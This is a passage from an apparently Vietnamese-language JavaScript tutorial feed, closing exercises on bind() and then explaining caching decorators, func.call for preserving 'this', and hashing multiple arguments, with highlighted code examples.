<code>(*)</code> là gì?</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Kết quả <code>(*)</code> là <code>Alex</code>.</p> <p>Khi gọi <code>f.bind(context)</code>, kết quả trả về là một đối tượng đặc biệt. Đối tượng này ghi nhớ giá trị của <code>this=context</code> tại thời điểm bind và không thể bị thay đổi.</p> <p>Do đó, lần gọi <code>bind</code> thứ hai là không có tác dụng.</p> </div> </div> </div> <h3 id="bài-3" style="position:relative;"><a href="#b%C3%A0i-3" aria-label="bài 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 3</h3> <p>Giả sử hàm có chứa một thuộc tính. Hỏi sau khi <code>bind</code>, giá trị của thuộc tính như thế nào?</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// thuộc tính của hàm</span> sayHi<span class="token punctuation">.</span>test <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span> <span class="token comment">// gọi bind</span> <span class="token keyword">let</span> bound <span class="token operator">=</span> <span class="token function">sayHi</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>bound<span class="token punctuation">.</span>test<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (*)</span></code></pre></div> <p>Kết quả <code>(*)</code> là gì?</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Kết quả <code>(*)</code> là <code>undefined</code>.</p> <p>Bởi vì kết quả của <code>bind</code> là một đối tượng khác. Và đối tượng này không chứa thuộc tính <code>test</code>.</p> </div> </div> </div> <p>Tham khảo:</p> <ul> <li><a href="https://javascript.info/bind">Function binding</a></li> <li><a href="/decorator-forwarding-ham-trong-javascript/">Decorator, forwarding của hàm trong JS</a></li> <li><a href="/phan-biet-call-apply-va-bind-trong-javascript/">Phân biệt call, apply và bind trong JavaScript</a></li> </ul>[email protected]<![CDATA[Kỹ thuật decorator, forwarding của hàm trong JavaScript]]><![CDATA[JavaScript giúp bạn xử lý hàm rất linh động. Bạn có thể truyền hàm vào hàm khác qua tham số hoặc sử dụng hàm như object. Và sau đây, mình sẽ giới thiệu về kỹ thuật decorator và…]]>https://completejavascript.com/decorator-forwarding-ham-trong-javascript/https://completejavascript.com/decorator-forwarding-ham-trong-javascript/<![CDATA[Hàm]]>Tue, 20 Jun 2017 06:20:00 GMT<p>JavaScript giúp bạn xử lý hàm rất linh động. Bạn có thể <strong>truyền hàm vào hàm khác qua tham số</strong> hoặc <strong>sử dụng hàm như object</strong>. Và sau đây, mình sẽ giới thiệu về kỹ thuật decorator và forwarding hàm trong JavaScript.</p> <h2 id="caching-hàm-trong-javascript" style="position:relative;"><a href="#caching-h%C3%A0m-trong-javascript" aria-label="caching hàm trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Caching hàm trong JavaScript</h2> <p>Giả sử bạn có một hàm khá nặng <code>slow(x)</code> - tốn nhiều CPU khi chạy. Tuy nhiên, kết quả của hàm lại <strong>ổn định</strong>. Nghĩa là với mỗi giá trị của tham số <code>x</code> giống nhau thì kết quả trả về của hàm <code>slow(x)</code> cũng giống nhau.</p> <p>Nếu hàm <code>slow(x)</code> được gọi thường xuyên, bạn có thể sẽ muốn <strong>cache</strong> (ghi nhớ) kết quả để tránh việc phải tính toán lại.</p> <p>Thay vì phải sửa logic của hàm <code>slow(x)</code>, bạn có thể tạo ra một <strong>hàm wrapper</strong>. Hàm này nhận hàm <code>slow()</code> làm tham số và xử lý thêm phần caching, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">slow</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// có thể có các tác vụ nặng, tốn CPU</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Đã được gọi với </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>x<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> x<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// hàm wrapper</span> <span class="token keyword">function</span> <span class="token function">cachingDecorator</span><span class="token punctuation">(</span><span class="token parameter">func</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> cache <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// tạo map để cache</span> <span class="token keyword">return</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>cache<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// nếu tồn tại key là x thì trả về kết quả đã tương ứng</span> <span class="token keyword">return</span> cache<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> result <span class="token operator">=</span> <span class="token function">func</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ngược lại thì gọi hàm</span> cache<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// thêm kết quả vào cache</span> <span class="token keyword">return</span> result<span class="token punctuation">;</span> <span class="token comment">// trả về kết quả</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> slow <span class="token operator">=</span> <span class="token function">cachingDecorator</span><span class="token punctuation">(</span>slow<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">slow</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// cache lại kết quả của slow(1) rồi trả về kết quả</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Gọi lại: "</span> <span class="token operator">+</span> <span class="token function">slow</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// kết quả của slow(1) được lấy từ cache</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">slow</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// cache lại kết quả của slow(2) rồi trả về kết quả</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Gọi lại: "</span> <span class="token operator">+</span> <span class="token function">slow</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// kết quả của slow(1) được lấy từ cache</span></code></pre></div> <p>Kết quả:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Đã được gọi với 1 1 Gọi lại: 1 Đã được gọi với 2 2 Gọi lại: 2</code></pre></div> <p>Trong ví dụ trên, hàm <code>cachingDecorator</code> được gọi là <strong>decorator</strong> - một hàm đặc biệt, nhận tham số đầu vào là một hàm khác và bổ sung thêm các tính năng.</p> <p>Ý tưởng ở đây là bạn có thể gọi hàm <code>cachingDecorator</code> với bất kỳ hàm nào và trả về một hàm wrapper đã có tính năng cache. Bởi vì thực tế, bạn sẽ có nhiều hàm cần sử dụng tính năng caching này.</p> <p>Những lợi ích của việc sử dụng hàm <code>cachingDecorator</code> là:</p> <ul> <li>Hàm <code>cachingDecorator</code> có thể tái sử dụng. Bạn có thể <strong>tách ra thành thư viện</strong> rồi sử dụng lại với nhiều hàm và nhiều nơi khác nhau.</li> <li>Logic caching được tách riêng, tránh làm tăng độ phức tạp của hàm <code>slow()</code>.</li> <li>Có thể kết hợp nhiều decorator khi cần.</li> </ul> <h2 id="sử-dụng-funccall" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-funccall" aria-label="sử dụng funccall permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng <code>func.call</code></h2> <p>Thực tế, cách triển khai hàm <code>cachingDecorator</code> như trên là không phù hợp với <a href="/phuong-thuc-object-va-this-trong-javascript/">phương thức của object</a>, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token comment">// hàm slow là phương thức của object worker</span> <span class="token keyword">let</span> worker <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token function">someMethod</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function">slow</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// có thể có thao tác tốn CPU</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Được gọi với "</span> <span class="token operator">+</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> x <span class="token operator">*</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">someMethod</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (*)</span></span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// code giống như trên</span> <span class="token keyword">function</span> <span class="token function">cachingDecorator</span><span class="token punctuation">(</span><span class="token parameter">func</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> cache <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>cache<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> cache<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">let</span> result <span class="token operator">=</span> <span class="token function">func</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (**)</span></span> cache<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> result<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>worker<span class="token punctuation">.</span><span class="token function">slow</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gọi code bình thường vẫn đúng</span> worker<span class="token punctuation">.</span>slow <span class="token operator">=</span> <span class="token function">cachingDecorator</span><span class="token punctuation">(</span>worker<span class="token punctuation">.</span>slow<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// khi sử dụng với caching</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>worker<span class="token punctuation">.</span><span class="token function">slow</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi:</span> <span class="token comment">// Cannot read properties of undefined (reading 'someMethod')</span></code></pre></div> <p>Lỗi trên xảy ra ở <code>(*)</code> khi gọi <code>this.someMethod</code>. Bởi vì ở <code>(**)</code>, hàm <code>cachingDecorator</code> gọi hàm <code>func(x)</code> theo cách này thì giá trị của <code>this</code> sẽ là <code>undefined</code>.</p> <p>Bạn có thể thấy lỗi tương tự nếu làm như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> func <span class="token operator">=</span> worker<span class="token punctuation">.</span>slow<span class="token punctuation">;</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nguyên nhân gây ra lỗi trên là vì hàm wrapper đã gọi hàm gốc mà không có biến context <code>this</code>.</p> <p>Để giải quyết vấn đề trên, bạn có thể sử dụng phương thức <code>func.call(context,...args)</code>. Phương thức này cho phép truyền vào giá trị của <code>this</code> với cú pháp đầy đủ là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">func</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>context<span class="token punctuation">,</span> arg1<span class="token punctuation">,</span> arg2<span class="token punctuation">,</span> <span class="token operator">...</span><span class="token punctuation">)</span></code></pre></div> <p>Phương thức <code>func.call</code> gọi hàm <code>func</code> với tham số đầu tiên tương ứng giá trị của <code>this</code> và theo sau là danh sách các tham số của hàm, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">func</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">func</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hai cách gọi hàm trên <strong>cơ bản giống nhau</strong>, chỉ khác ở cách gọi <code>func.call</code> thì giá trị của <code>this</code> bằng <code>obj</code>.</p> <p>Ví dụ hàm <code>sayHi</code> sau đây được gọi với hai ngữ cảnh <code>this</code> khác nhau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> admin <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Admin"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// gọi hàm sayHi với giá trị của `this` khác nhau</span> <span class="token function">sayHi</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span> <span class="token function">sayHi</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>admin<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Admin</span></code></pre></div> <p>Quay lại ví dụ về caching trên, bây giờ bạn có thể áp dụng phương thức <code>func.call</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token comment">// hàm slow là phương thức của object worker</span> <span class="token keyword">let</span> worker <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token function">someMethod</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function">slow</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// có thể có thao tác tốn CPU</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Được gọi với "</span> <span class="token operator">+</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> x <span class="token operator">*</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">someMethod</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (*)</span></span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// code giống như trên</span> <span class="token keyword">function</span> <span class="token function">cachingDecorator</span><span class="token punctuation">(</span><span class="token parameter">func</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> cache <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>cache<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> cache<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">let</span> result <span class="token operator">=</span> <span class="token function">func</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">,</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (**)</span></span> cache<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> result<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> worker<span class="token punctuation">.</span>slow <span class="token operator">=</span> <span class="token function">cachingDecorator</span><span class="token punctuation">(</span>worker<span class="token punctuation">.</span>slow<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>worker<span class="token punctuation">.</span><span class="token function">slow</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>worker<span class="token punctuation">.</span><span class="token function">slow</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Bây giờ, mọi thứ đã bình thường và không có lỗi xảy ra. Và đoạn code trên có thể hiểu như sau:</p> <ul> <li>Sau hàm <code>cachingDecorator</code>, hàm <code>worker.slow</code> được gán bằng hàm wrapper <code>function(){...}</code>.</li> <li>Vì vậy, khi gọi <code>worker.slow(2)</code>, hàm wrapper nhận <code>2</code> là tham số truyền vào và <code>this=worker</code> vì <code>worker</code> là object trước dấu chấm <code>.</code>.</li> </ul> <h2 id="caching-hàm-với-nhiều-tham-số" style="position:relative;"><a href="#caching-h%C3%A0m-v%E1%BB%9Bi-nhi%E1%BB%81u-tham-s%E1%BB%91" aria-label="caching hàm với nhiều tham số permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Caching hàm với nhiều tham số</h2> <p>Cách triển khai hàm <code>cachingDecorator</code> như trên chỉ áp dụng được với <strong>hàm có 1 tham số đầu vào</strong>. Giả sử, mình muốn sử dụng <code>cachingDecorator</code> với nhiều tham số thì sao?</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> worker <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token function">slow</span><span class="token punctuation">(</span><span class="token parameter">min<span class="token punctuation">,</span> max</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// giả sử có thao tác tốn CPU</span> <span class="token keyword">return</span> min <span class="token operator">+</span> max<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// ghi nhớ kết quả với các tham số truyền vào</span> worker<span class="token punctuation">.</span>slow <span class="token operator">=</span> <span class="token function">cachingDecorator</span><span class="token punctuation">(</span>worker<span class="token punctuation">.</span>slow<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Với hàm một tham số <code>x</code>, bạn có thể sử dụng <code>cache.set(x, result)</code> để lưu kết quả và dùng <code>cache.get(x)</code> để lấy kết quả đã cache.</p> <p>Nhưng với trường hợp bạn cần ghi nhớ hai tham số <code>(min, max)</code> thì cách trên lại không dùng được ngay. Vì <a href="/map-trong-javascript-thi-sao/">kiểu dữ liệu Map</a> chỉ áp dụng được với <strong>1 key</strong>.</p> <p>Có nhiều cách để giải quyết vấn đề này:</p> <ol> <li>Triển khai (hoặc dùng thư viện) kiểu dữ liệu <strong>map-like</strong> hỗ trợ nhiều key.</li> <li>Sử dụng <strong>Map lồng nhau</strong>: ví dụ sử dụng <code>cache.set(min, value)</code> trong đó <code>value</code> ứng với cặp <code>(max, result)</code>. Để lấy kết quả, bạn chỉ cần dùng <code>cache.get(min).get(max)</code>.</li> <li>Ghép các giá trị thành một: ví dụ bạn dùng một string <code>min,max</code> để biểu diễn cho cặp giá trị <code>(min,max)</code>. Và để linh động hơn, bạn có thể cho phép cung cấp hàm <code>hash</code> vào hàm decorator làm nhiệm vụ <strong>chuyển đổi nhiều giá trị thành một giá trị</strong>.</li> </ol> <p>Ví dụ cách sử dụng hàm <code>hash</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> worker <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token function">slow</span><span class="token punctuation">(</span><span class="token parameter">min<span class="token punctuation">,</span> max</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Được gọi với </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>min<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">,</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>max<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> min <span class="token operator">+</span> max<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">cachingDecorator</span><span class="token punctuation">(</span><span class="token parameter">func<span class="token punctuation">,</span> hash</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> cache <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">let</span> key <span class="token operator">=</span> <span class="token function">hash</span><span class="token punctuation">(</span>arguments<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (*)</span></span> <span class="token keyword">if</span> <span class="token punctuation">(</span>cache<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> cache<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">let</span> result <span class="token operator">=</span> <span class="token function">func</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">,</span> <span class="token operator">...</span>arguments<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (**)</span></span> cache<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>key<span class="token punctuation">,</span> result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> result<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">hash</span><span class="token punctuation">(</span><span class="token parameter">args</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> args<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">+</span> <span class="token string">","</span> <span class="token operator">+</span> args<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> worker<span class="token punctuation">.</span>slow <span class="token operator">=</span> <span class="token function">cachingDecorator</span><span class="token punctuation">(</span>worker<span class="token punctuation">.</span>slow<span class="token punctuation">,</span> 